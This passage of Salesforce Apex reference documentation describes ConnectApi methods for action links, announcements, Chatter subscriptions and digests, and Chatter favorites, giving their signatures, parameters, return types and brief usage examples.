Requires Chatter
No
Signature
public static void deleteActionLinkGroupDefinition(String communityId, String
actionLinkGroupId)
811
ActionLinks ClassReference
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
actionLinkGroupId
Type: String
The ID of the action link group.
Return Value
Type: Void
Usage
Information in the action link group definition can be sensitive to a third party (for example, OAuth bearer token headers). For this reason,
only calls made from the Apex namespace that created the action link group definition can read, modify, or delete the definition. In
addition, the user making the call must have created the definition or have “View All Data” permission.
getActionLink(communityId, actionLinkId)
Get information about an action link, including state for the context user.
API Version
33.0
Requires Chatter
No
Signature
public static ConnectApi.PlatformAction getActionLink(String communityId, String
actionLinkId)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
actionLinkId
Type: String
The ID of the action link.
Return Value
Type: ConnectApi.PlatformAction
812
ActionLinks ClassReference
getActionLinkDiagnosticInfo(communityId, actionLinkId)
Get diagnostic information returned when an action link executes. Diagnostic information is given only for users who can access the
action link.
API Version
33.0
Requires Chatter
No
Signature
public static ConnectApi.ActionLinkDiagnosticInfo getActionLinkDiagnosticInfo(String
communityId, String actionLinkId)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
actionLinkId
Type: String
The ID of the action link.
Return Value
Type: ConnectApi.ActionLinkDiagnosticInfo
getActionLinkGroup(communityId, actionLinkGroupId)
Get information about an action link group including state for the context user.
API Version
33.0
Requires Chatter
No
Signature
public static ConnectApi.PlatformActionGroup getActionLinkGroup(String communityId,
String actionLinkGroupId)
813
ActionLinks ClassReference
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
actionLinkGroupId
Type: String
The ID of the action link group.
Return Value
Type: ConnectApi.PlatformActionGroup
Usage
All action links must belong to a group. Action links in a group are mutually exclusive and share some properties. Note that action link
groups are accessible by clients, unlike action link group definitions.
getActionLinkGroupDefinition(communityId, actionLinkGroupId)
Get information about an action link group definition.
API Version
33.0
Requires Chatter
No
Signature
public static ConnectApi.ActionLinkGroupDefinition getActionLinkGroupDefinition(String
communityId, String actionLinkGroupId)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
actionLinkGroupId
Type: String
The ID of the action link group.
Return Value
Type: ConnectApi.ActionLinkGroupDefinition
814
ActionLinks ClassReference
Usage
Information in the action link group definition can be sensitive to a third party (for example, OAuth bearer token headers). For this reason,
only calls made from the Apex namespace that created the action link group definition can read, modify, or delete the definition. In
addition, the user making the call must have created the definition or have “View All Data” permission.
Announcements Class
Access information about announcements and post announcements.
Namespace
ConnectApi
Usage
Use the ConnectApi.Announcements class to get, create, update, and delete announcements. Use an announcement to
highlight information. Users can discuss, like, and post comments on announcements. Deleting the feed post deletes the announcement.
This image shows an announcement displayed in a group. Creating an announcement also creates a feed item with the announcement
text.
An announcement displays in a designated location in the Salesforce UI until 11:59 p.m. on its expiration date, unless it’s deleted or
replaced by another announcement.
Announcements Methods
The following are methods for Announcements. All methods are static.
815
Announcements ClassReference
IN THIS SECTION:
deleteAnnouncement(communityId, announcementId)
Deletes the specified announcement.
getAnnouncement(communityId, announcementId)
Gets the specified announcement.
getAnnouncements(communityId, parentId)
Get the first page of announcements.
getAnnouncements(communityId, parentId, pageParam, pageSize)
Get the specified page of announcements.
postAnnouncement(communityId, announcement)
Post an announcement.
updateAnnouncement(communityId, announcementId, expirationDate)
Updates the expiration date of the specified announcement.
deleteAnnouncement(communityId, announcementId)
Deletes the specified announcement.
API Version
31.0
Requires Chatter
Yes
Signature
public static void deleteAnnouncement(String communityId, String announcementId)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
announcementId
Type: String
An announcement ID, which has a prefix of 0BT.
Return Value
Type: Void
816
Announcements ClassReference
Usage
To get a list of announcements in a group, call getAnnouncements(communityId, parentId) or
getAnnouncements(communityId, parentId, pageParam, pageSize).
To post an announcement to a group, call postAnnouncement(communityId, announcement) .
getAnnouncement(communityId, announcementId)
Gets the specified announcement.
API Version
31.0
Requires Chatter
Yes
Signature
public static ConnectApi.Announcement getAnnouncement(String communityId, String
announcementId)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
announcementId
Type: String
An announcement ID, which has a prefix of 0BT.
Return Value
Type: ConnectApi.Announcement
Usage
To get a list of announcements in a group, call getAnnouncements(communityId, parentId) or
getAnnouncements(communityId, parentId, pageParam, pageSize).
To post an announcement to a group, call postAnnouncement(communityId, announcement) .
getAnnouncements(communityId, parentId)
Get the first page of announcements.
API Version
36.0
817
Announcements ClassReference
Available to Guest Users
38.0
Requires Chatter
Yes
Signature
public static ConnectApi.AnnouncementPage getAnnouncements(String communityId, String
parentId)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
parentId
Type: String
ID of the parent entity for the announcement, that is, a group ID when the announcement appears in a group.
Return Value
Type: ConnectApi.AnnouncementPage
getAnnouncements(communityId, parentId, pageParam, pageSize)
Get the specified page of announcements.
API Version
36.0
Available to Guest Users
38.0
Requires Chatter
Yes
Signature
public static ConnectApi.AnnouncementPage getAnnouncements(String communityId, String
parentId, Integer pageParam, Integer pageSize)
818
Announcements ClassReference
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
parentId
Type: String
ID of the parent entity for the announcement, that is, a group ID when the announcement appears in a group.
pageParam
Type: Integer
Specifies the number of the page you want returned. Starts at 0. If you pass in null or 0, the first page is returned.
pageSize
Type: Integer
Specifies the number of announcements per page.
Return Value
Type: ConnectApi.AnnouncementPage
postAnnouncement(communityId, announcement)
Post an announcement.
API Version
36.0
Requires Chatter
Yes
Signature
public static ConnectApi.Announcement postAnnouncement(String communityId,
ConnectApi.AnnouncementInput announcement)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
announcement
Type: ConnectApi.AnnouncementInput
A ConnectApi.AnnouncementInput object.
819
Announcements ClassReference
Return Value
Type: ConnectApi.Announcement
updateAnnouncement(communityId, announcementId, expirationDate)
Updates the expiration date of the specified announcement.
API Version
31.0
Requires Chatter
Yes
Signature
public static ConnectApi.Announcement updateAnnouncement(String communityId, String
announcementId, Datetime expirationDate)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
announcementId
Type: String
An announcement ID, which has a prefix of 0BT.
expirationDate
Type: Datetime
The Salesforce UI displays an announcement until 11:59 p.m. on this date unless another announcement is posted first. The Salesforce
UI ignores the time value in the expirationDate. However, you can use the time value to create your own display logic in your
own UI.
Return Value
Type: ConnectApi.Announcement
Usage
To get a list of announcements in a group, call getAnnouncements(communityId, parentId) or
getAnnouncements(communityId, parentId, pageParam, pageSize).
To post an announcement to a group, call postAnnouncement(communityId, announcement) .
Chatter Class
Access information about followers and subscriptions for records.
820
Chatter ClassReference
Namespace
ConnectApi
Chatter Methods
The following are methods for Chatter. All methods are static.
IN THIS SECTION:
deleteSubscription(communityId, subscriptionId)
Deletes the specified subscription. Use this method to unfollow a record, a user, or a file.
getFollowers(communityId, recordId)
Returns the first page of followers for the specified record in the specified community. The page contains the default number of
items.
getFollowers(communityId, recordId, pageParam, pageSize)
Returns the specified page of followers for the specified record.
getSubscription(communityId, subscriptionId)
Returns information about the specified subscription.
submitDigestJob(period)
Submit a daily or weekly Chatter email digest job.
deleteSubscription(communityId, subscriptionId)
Deletes the specified subscription. Use this method to unfollow a record, a user, or a file.
API Version
28.0
Requires Chatter
Yes
Signature
public static void deleteSubscription(String communityId, String subscriptionId)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
subscriptionId
Type: String
The ID for a subscription.
821
Chatter ClassReference
Return Value
Type: Void
Usage
“Following” a user, group, or record is the same as “subscribing” to a user, group, or record. A “follower” is the user who followed the
user, group, or record. A “subscription” is an object describing the relationship between the follower and the user, group, or record they
followed.
To leave a group, call deleteMember(communityId, membershipId).
Example
When you follow a user, the call to ConnectApi.ChatterUsers.follow returns a ConnectApi.Subscription object.
To unfollow the user, pass the id property of that object to this method.
ConnectApi.Chatter.deleteSubscription(null,'0E8RR0000004CnK0AU');
SEE ALSO:
Follow a Record
follow(communityId, userId, subjectId)
getFollowers(communityId, recordId)
Returns the first page of followers for the specified record in the specified community. The page contains the default number of items.
API Version
28.0
Requires Chatter
Yes
Signature
public static ConnectApi.FollowerPage getFollowers(String communityId, String recordId)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
recordId
Type: String
The ID for a record or the keyword me.
822
Chatter ClassReference
Return Value
Type: ConnectApi.FollowerPage
Usage
“Following” a user, group, or record is the same as “subscribing” to a user, group, or record. A “follower” is the user who followed the
user, group, or record. A “subscription” is an object describing the relationship between the follower and the user, group, or record they
followed.
SEE ALSO:
Follow a Record
getFollowers(communityId, recordId, pageParam, pageSize)
Returns the specified page of followers for the specified record.
API Version
28.0
Requires Chatter
Yes
Signature
public static ConnectApi.FollowerPage getFollowers(String communityId, String recordId,
Integer pageParam, Integer pageSize)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
recordId
Type: String
The ID for a record or the keyword me.
pageParam
Type: Integer
Specifies the number of the page you want returned. Starts at 0. If you pass in null or 0, the first page is returned.
pageSize
Type: Integer
Specifies the number of items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
Return Value
Type: ConnectApi.FollowerPage
823
Chatter ClassReference
Usage
“Following” a user, group, or record is the same as “subscribing” to a user, group, or record. A “follower” is the user who followed the
user, group, or record. A “subscription” is an object describing the relationship between the follower and the user, group, or record they
followed.
SEE ALSO:
Follow a Record
getSubscription(communityId, subscriptionId)
Returns information about the specified subscription.
API Version
28.0
Requires Chatter
Yes
Signature
public static ConnectApi.Subscription getSubscription(String communityId, String
subscriptionId)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
subscriptionId
Type: String
The ID for a subscription.
Return Value
Type: ConnectApi.Subscription
Usage
“Following” a user, group, or record is the same as “subscribing” to a user, group, or record. A “follower” is the user who followed the
user, group, or record. A “subscription” is an object describing the relationship between the follower and the user, group, or record they
followed.
SEE ALSO:
Follow a Record
824
Chatter ClassReference
submitDigestJob(period)
Submit a daily or weekly Chatter email digest job.
API Version
37.0
Requires Chatter
Yes
Signature
public static ConnectApi.DigestJobRepresentation submitDigestJob(ConnectApi.DigestPeriod
period)
Parameters
period
Type: ConnectApi.DigestPeriod
Specifies the period of time that is included in a Chatter email digest. Values are:
•DailyDigest—The email includes up to the 50 latest posts from the previous day.
•WeeklyDigest—The email includes up to the 50 latest posts from the previous week.
Return Value
Type: ConnectApi.DigestJob
Usage
The times when Chatter sends email digests are not configurable in the UI. To control when email digests are sent and to use this method,
contact Salesforce to enable API-only Chatter Digests.
Warning: Enabling API-only Chatter Digests disables the scheduled digests for your org. You must call the API for your users to
receive their digests.
We recommend scheduling digest jobs by implementing the Apex Schedulable interface with this method. To monitor your digest
jobs from Setup, enter Background Jobs in the Quick Find box, then select Background Jobs.
Example
Schedule daily digests:
global class ExampleDigestJob1 implements Schedulable {
global void execute(SchedulableContext context) {
ConnectApi.Chatter.submitDigestJob(ConnectApi.DigestPeriod.DailyDigest);
}
}
825
Chatter ClassReference
Schedule weekly digests:
global class ExampleDigestJob2 implements Schedulable {
global void execute(SchedulableContext context) {
ConnectApi.Chatter.submitDigestJob(ConnectApi.DigestPeriod.WeeklyDigest);
}
}
SEE ALSO:
Apex Scheduler
ChatterFavorites Class
Chatter favorites give you easy access to topics, list views, and feed searches.
Namespace
ConnectApi
Usage
Use Chatter in Apex to get and delete topics, list views, and feed searches that have been added as favorites. Add topics and feed searches
as favorites, and update the last view date of a feed search or list view feed to the current system time.
In this image of Salesforce, “Build Issues” is a topic, “All Accounts” is a list view, and “United” is a feed search:
ChatterFavorites Methods
The following are methods for ChatterFavorites. All methods are static.
826
ChatterFavorites ClassReference
IN THIS SECTION:
addFavorite(communityId, subjectId, searchText)
Adds a feed search favorite for the specified user in the specified community.
addRecordFavorite(communityId, subjectId, targetId)
Adds a topic as a favorite.
deleteFavorite(communityId, subjectId, favoriteId)
Deletes the specified favorite.
getFavorite(communityId, subjectId, favoriteId)
Returns a description of the favorite.
getFavorites(communityId, subjectId)
Returns a list of all favorites for the specified user in the specified community.
getFeedElements(communityId, subjectId, favoriteId)
Returns the first page of feed elements for the specific favorite in the specified community.
getFeedElements(communityId, subjectId, favoriteId, pageParam, pageSize, sortParam)
Returns the specified page of feed elements for the specified favorite, in the specified community in the specified order.
getFeedElements(communityId, subjectId, favoriteId, recentCommentCount, elementsPerBundle, pageParam, pageSize, sortParam)
Returns the specified page of feed elements for the specified favorite, in the specified community in the specified order and includes
no more than the specified number of comments per feed element.
getFeedItems(communityId, subjectId, favoriteId)
Returns the first page of feed items for the specific favorite in the specified community. The page contains the default number of
items.
getFeedItems(communityId, subjectId, favoriteId, pageParam, pageSize, sortParam)
Returns the specified page of feed items for the specified favorite, in the specified community in the specified order.
getFeedItems(communityId, subjectId, favoriteId, recentCommentCount, pageParam, pageSize, sortParam)
Returns the specified page of feed items for the specified favorite, in the specified community in the specified order and includes
no more than the specified number of comments per feed item.
updateFavorite(communityId, subjectId, favoriteId, updateLastViewDate)
Updates the last view date of the saved search or list view feed to the current system time if you specify true for
updateLastViewDate.
addFavorite(communityId, subjectId, searchText)
Adds a feed search favorite for the specified user in the specified community.
API Version
28.0
Requires Chatter
Yes
827
ChatterFavorites ClassReference
Signature
public static ConnectApi.FeedFavorite addFavorite(String communityId, String subjectId,
String searchText)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
subjectId
Type: String
The ID of the context user or the alias me.
searchText
Type: String
Specify the text of the search to be saved as a favorite. This method can only create a feed search favorite, not a list view favorite or
a topic.
Return Value
Type: ConnectApi.FeedFavorite
addRecordFavorite(communityId, subjectId, targetId)
Adds a topic as a favorite.
API Version
28.0
Requires Chatter
Yes
Signature
public static ConnectApi.FeedFavorite addRecordFavorite(String communityId, String
subjectId, String targetId)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
subjectId
Type: String
The ID of the context user or the alias me.
828
ChatterFavorites ClassReference
targetId
Type: String
The ID of the topic to add as a favorite.
Return Value
Type: ConnectApi.FeedFavorite
deleteFavorite(communityId, subjectId, favoriteId)
Deletes the specified favorite.
API Version
28.0
Requires Chatter
Yes
Signature
public static Void deleteFavorite(String communityId, String subjectId, String
favoriteId)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
subjectId
Type: String
The ID of the context user or the alias me.
favoriteId
Type: String
The ID of a favorite.
Return Value
Type: Void
getFavorite(communityId, subjectId, favoriteId)
Returns a description of the favorite.
API Version
28.0
829
ChatterFavorites ClassReference
Requires Chatter
Yes
Signature
public static ConnectApi.FeedFavorite getFavorite(String communityId, String subjectId,
String favoriteId)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
subjectId
Type: String
The ID of the context user or the alias me.
favoriteId
Type: String
The ID of a favorite.
Return Value
Type: ConnectApi.FeedFavorite
getFavorites(communityId, subjectId)
Returns a list of all favorites for the specified user in the specified community.
API Version
28.0
Requires Chatter
Yes
Signature
public static ConnectApi.FeedFavorites getFavorites(String communityId, String subjectId)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
subjectId
Type: String
830
ChatterFavorites ClassReference
The ID of the context user or the alias me.
Return Value
Type: ConnectApi.FeedFavorites
getFeedElements(communityId, subjectId, favoriteId)
Returns the first page of feed elements for the specific favorite in the specified community.
API Version
31.0
Requires Chatter
Yes
Signature
public static ConnectApi.FeedElementPage getFeedElements(String communityId, String
subjectId, String favoriteId)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
subjectId
Type: String
The ID of the context user or the alias me.
favoriteId
Type: String
The ID of a favorite.
Return Value
Type: ConnectApi.FeedElementPage
Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
SEE ALSO:
setTestGetFeedElements(communityId, subjectId, favoriteId, result)
Testing ConnectApi Code
831
ChatterFavorites ClassReference
getFeedElements(communityId, subjectId, favoriteId, pageParam, pageSize,
sortParam)
Returns the specified page of feed elements for the specified favorite, in the specified community in the specified order.
API Version
31.0
Requires Chatter
Yes
Signature
public static ConnectApi.FeedElementPage getFeedElements(String communityId, String
subjectId, String favoriteId, String pageParam, Integer pageSize,
ConnectApi.FeedSortOrder sortParam)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
subjectId
Type: String
The ID of the context user or the alias me.
favoriteId
Type: String
The ID of a favorite.
pageParam
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken
or nextPageToken. If you pass in null, the first page is returned.
pageSize
Type: Integer
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Type: ConnectApi.FeedSortOrder
Values are:
•CreatedDateDesc—Sorts by most recent creation date.
•LastModifiedDateDesc—Sorts by most recent activity.
•MostViewed—Sorts by most viewed content. This sort order is available only for Home feeds when the
ConnectApi.FeedFilter is UnansweredQuestions.
•Relevance—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.
832
ChatterFavorites ClassReference
If you pass in null, the default value CreatedDateDesc is used.
Return Value
Type: ConnectApi.FeedElementPage
Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
SEE ALSO:
setTestGetFeedElements(communityId, subjectId, favoriteId, pageParam, pageSize, sortParam, result)
Testing ConnectApi Code
getFeedElements(communityId, subjectId, favoriteId, recentCommentCount,
elementsPerBundle, pageParam, pageSize, sortParam)
Returns the specified page of feed elements for the specified favorite, in the specified community in the specified order and includes
no more than the specified number of comments per feed element.
API Version
31.0
Requires Chatter
Yes
Signature
public static ConnectApi.FeedElementPage getFeedElements(String communityId, String
subjectId, String favoriteId, Integer recentCommentCount, Integer elementsPerBundle,
String pageParam, Integer pageSize, ConnectApi.FeedSortOrder sortParam)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
subjectId
Type: String
The ID of the context user or the alias me.
favoriteId
Type: String
The ID of a favorite.
833
ChatterFavorites ClassReference
recentCommentCount
Type: Integer
The maximum number of comments to return with each feed element. The default value is 3.
elementsPerBundle
Type: Integer
The maximum number of feed elements per bundle. The default and maximum value is 10.
pageParam
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken
or nextPageToken. If you pass in null, the first page is returned.
pageSize
Type: Integer
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Type: ConnectApi.FeedSortOrder
Values are:
•CreatedDateDesc—Sorts by most recent creation date.
•LastModifiedDateDesc—Sorts by most recent activity.
•MostViewed—Sorts by most viewed content. This sort order is available only for Home feeds when the
ConnectApi.FeedFilter is UnansweredQuestions.
•Relevance—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.
If you pass in null, the default value CreatedDateDesc is used.
Return Value
Type: ConnectApi.FeedElementPage
Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
SEE ALSO:
setTestGetFeedElements(communityId, subjectId, favoriteId, recentCommentCount, elementsPerClump, pageParam, pageSize,
sortParam, result)
Testing ConnectApi Code
getFeedItems(communityId, subjectId, favoriteId)
Returns the first page of feed items for the specific favorite in the specified community. The page contains the default number of items.
API Version
28.0–31.0
834
ChatterFavorites ClassReference
Important: In version 32.0 and later, use getFeedElements(communityId, subjectId, favoriteId).
Requires Chatter
Yes
Signature
public static ConnectApi.FeedItemPage getFeedItems(String communityId, String subjectId,
String favoriteId)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
subjectId
Type: String
The ID of the context user or the alias me.
favoriteId
Type: String
The ID of a favorite.
Return Value
Type: ConnectApi.FeedItemPage
Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
SEE ALSO:
setTestGetFeedItems(communityId, subjectId, favoriteId, result)
Testing ConnectApi Code
getFeedItems(communityId, subjectId, favoriteId, pageParam, pageSize,
sortParam)
Returns the specified page of feed items for the specified favorite, in the specified community in the specified order.
API Version
28.0–31.0
Important: In version 32.0 and later, use getFeedElements(communityId, subjectId, favoriteId, pageParam, pageSize, sortParam).
835
ChatterFavorites ClassReference
Requires Chatter
Yes
Signature
public static ConnectApi.FeedItemPage getFeedItems(String communityId, String subjectId,
String favoriteId, String pageParam, Integer pageSize, ConnectApi.FeedSortOrder
sortParam)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
subjectId
Type: String
The ID of the context user or the alias me.
favoriteId
Type: String
The ID of a favorite.
pageParam
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken
or nextPageToken. If you pass in null, the first page is returned.
pageSize
Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Type: ConnectApi.FeedSortOrder
Values are:
•CreatedDateDesc—Sorts by most recent creation date.
•LastModifiedDateDesc—Sorts by most recent activity.
•MostViewed—Sorts by most viewed content. This sort order is available only for Home feeds when the
ConnectApi.FeedFilter is UnansweredQuestions.
•Relevance—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.
Sorts the returned feed by the most recently created feed item, or by the most recently modified feed item. If you pass in null,
the default value CreatedDateDesc is used.
Return Value
Type: ConnectApi.FeedItemPage
836
ChatterFavorites ClassReference
Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
SEE ALSO:
setTestGetFeedItems(communityId, subjectId, favoriteId, pageParam, pageSize, sortParam, result)
Testing ConnectApi Code
getFeedItems(communityId, subjectId, favoriteId, recentCommentCount,
pageParam, pageSize, sortParam)
Returns the specified page of feed items for the specified favorite, in the specified community in the specified order and includes no
more than the specified number of comments per feed item.
API Version
29.0–31.0
Important: In version 32.0 and later, use getFeedElements(communityId, subjectId, favoriteId, recentCommentCount,
elementsPerBundle, pageParam, pageSize, sortParam).
Requires Chatter
Yes
Signature
public static ConnectApi.FeedItemPage getFeedItems(String communityId, String subjectId,
String favoriteId, Integer recentCommentCount, String pageParam, Integer pageSize,
FeedSortOrder sortParam)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
subjectId
Type: String
The ID of the context user or the alias me.
favoriteId
Type: String
The ID of a favorite.
recentCommentCount
Type: Integer
The maximum number of comments to return with each feed item. The default value is 3.
837
ChatterFavorites ClassReference
pageParam
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken
or nextPageToken. If you pass in null, the first page is returned.
pageSize
Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Type: FeedSortOrder
Values are:
•CreatedDateDesc—Sorts by most recent creation date.
•LastModifiedDateDesc—Sorts by most recent activity.
•MostViewed—Sorts by most viewed content. This sort order is available only for Home feeds when the
ConnectApi.FeedFilter is UnansweredQuestions.
•Relevance—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.
Sorts the returned feed by the most recently created feed item, or by the most recently modified feed item. If you pass in null,
the default value CreatedDateDesc is used.
Return Value
Type: ConnectApi.FeedItemPage
Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
SEE ALSO:
setTestGetFeedItems(communityId, subjectId, favoriteId, recentCommentCount, pageParam, pageSize, sortParam, result)
Testing ConnectApi Code
updateFavorite(communityId, subjectId, favoriteId, updateLastViewDate)
Updates the last view date of the saved search or list view feed to the current system time if you specify true for
updateLastViewDate.
API Version
28.0
Requires Chatter
Yes
838
ChatterFavorites ClassReference
Signature
public static ConnectApi.FeedFavorite updateFavorite(String communityId, String
subjectId, String favoriteId, Boolean updateLastViewDate)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
subjectId
Type: String
The ID of the context user or the alias me.
favoriteId
Type: String
The ID of a favorite.
updateLastViewDate
Type: Boolean
Specify whether to update the last view date of the specified favorite to the current system time (true) or not (false).
Return Value
Type: ConnectApi.FeedFavorite
ChatterFavorites Test Methods
The following are the test methods for ChatterFavorites. All methods are static.
For information about using these methods to test your ConnectApi code, see Testing ConnectApi Code.
setTestGetFeedElements(communityId, subjectId, favoriteId, result)
Registers a ConnectApi.FeedElementPage object to be returned when getFeedElements is called with matching
parameters in a test context. Use the method with the same parameters or the code throws an exception.
API Version
31.0
Signature
public static Void setTestGetFeedElements(String communityId, String subjectId, String
favoriteId, ConnectApi.FeedElementPage result)
Parameters
communityId
Type: String
839
ChatterFavorites ClassReference
Use either the ID for a community, internal, or null.
subjectId
Type: String
The ID of the context user or the alias me.
favoriteId
Type: String
The ID of a favorite.
result
Type: ConnectApi.FeedElementPage
The object containing test data.
Return Value
Type: Void
SEE ALSO:
getFeedElements(communityId, subjectId, favoriteId)
Testing ConnectApi Code
setTestGetFeedElements(communityId, subjectId, favoriteId, pageParam,
pageSize, sortParam, result)
Registers a ConnectApi.FeedElementPage object to be returned when getFeedElements is called with matching
parameters in a test context. Use the method with the same parameters or the code throws an exception.
API Version
31.0
Signature
public static Void setTestGetFeedElements(String communityId, String subjectId, String
favoriteId, String pageParam, Integer pageSize, ConnectApi.FeedSortOrder sortParam,
ConnectApi.FeedElementPage result)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
subjectId
Type: String
The ID of the context user or the alias me.
favoriteId
Type: String
840
ChatterFavorites ClassReference
The ID of a favorite.
pageParam
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken
or nextPageToken. If you pass in null, the first page is returned.
pageSize
Type: Integer
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Type: ConnectApi.FeedSortOrder
Values are:
•CreatedDateDesc—Sorts by most recent creation date.
•LastModifiedDateDesc—Sorts by most recent activity.
•MostViewed—Sorts by most viewed content. This sort order is available only for Home feeds when the
ConnectApi.FeedFilter is UnansweredQuestions.
•Relevance—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.
If you pass in null, the default value CreatedDateDesc is used.
result
Type: ConnectApi.FeedElementPage
The object containing test data.
Return Value
Type: Void
SEE ALSO:
getFeedElements(communityId, subjectId, favoriteId, pageParam, pageSize, sortParam)
Testing ConnectApi Code
setTestGetFeedElements(communityId, subjectId, favoriteId, recentCommentCount,
elementsPerClump, pageParam, pageSize, sortParam, result)
Registers a ConnectApi.FeedElementPage object to be returned when getFeedElements is called with matching
parameters in a test context. Use the method with the same parameters or the code throws an exception.
API Version
31.0
Signature
public static Void setTestGetFeedElements(String communityId, String subjectId, String
favoriteId, Integer recentCommentCount, Integer elementsPerClump, String pageParam,
Integer pageSize, ConnectApi.FeedSortOrder sortParam, ConnectApi.FeedElementPage result)
841
ChatterFavorites ClassReference
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
subjectId
Type: String
The ID of the context user or the alias me.
favoriteId
Type: String
The ID of a favorite.
recentCommentCount
Type: Integer
The maximum number of comments to return with each feed element. The default value is 3.
elementsPerBundle
Type: Integer
The maximum number of feed elements per bundle. The default and maximum value is 10.
pageParam
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken
or nextPageToken. If you pass in null, the first page is returned.
pageSize
Type: Integer
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Type: ConnectApi.FeedSortOrder
Values are:
•CreatedDateDesc—Sorts by most recent creation date.
•LastModifiedDateDesc—Sorts by most recent activity.
•MostViewed—Sorts by most viewed content. This sort order is available only for Home feeds when the
ConnectApi.FeedFilter is UnansweredQuestions.
•Relevance—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.
If you pass in null, the default value CreatedDateDesc is used.
result
Type: ConnectApi.FeedElementPage
The object containing test data.
842
ChatterFavorites ClassReference
Return Value
Type: Void
SEE ALSO:
getFeedElements(communityId, subjectId, favoriteId, recentCommentCount, elementsPerBundle, pageParam, pageSize, sortParam)
Testing ConnectApi Code
setTestGetFeedItems(communityId, subjectId, favoriteId, result)
Registers a ConnectApi.FeedItemPage object to be returned when getFeedItems is called with matching parameters in
a test context. Use the method with the same parameters or the code throws an exception.
API Version
28.0–31.0
Signature
public static Void setTestGetFeedItems(String communityId, String subjectId, String
favoriteId, ConnectApi.FeedItemPage result)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
subjectId
Type: String
The ID of the context user or the alias me.
favoriteId
Type: String
The ID of a favorite.
result
Type: ConnectApi.FeedItemPage
The object containing test data.
Return Value
Type: Void
SEE ALSO:
getFeedItems(communityId, subjectId, favoriteId)
Testing ConnectApi Code
843
ChatterFavorites ClassReference
setTestGetFeedItems(communityId, subjectId, favoriteId, pageParam, pageSize,
sortParam, result)
Registers a ConnectApi.FeedItemPage object to be returned when getFeedItems is called with matching parameters in
a test context. Use the method with the same parameters or the code throws an exception.
API Version
28.0–31.0
Signature
public static Void setTestGetFeedItems(String communityId, String subjectId, String
favoriteId, String pageParam, Integer pageSize, FeedSortOrder sortParam,
ConnectApi.FeedItemPage result)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
subjectId
Type: String
The ID of the context user or the alias me.
favoriteId
Type: String
The ID of a favorite.
pageParam
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken
or nextPageToken. If you pass in null, the first page is returned.
pageSize
Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Type: FeedSortOrder
Values are:
•CreatedDateDesc—Sorts by most recent creation date.
•LastModifiedDateDesc—Sorts by most recent activity.
•MostViewed—Sorts by most viewed content. This sort order is available only for Home feeds when the
ConnectApi.FeedFilter is UnansweredQuestions.
•Relevance—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.
Sorts the returned feed by the most recently created feed item, or by the most recently modified feed item. If you pass in null,
the default value CreatedDateDesc is used.
844
ChatterFavorites ClassReference
result
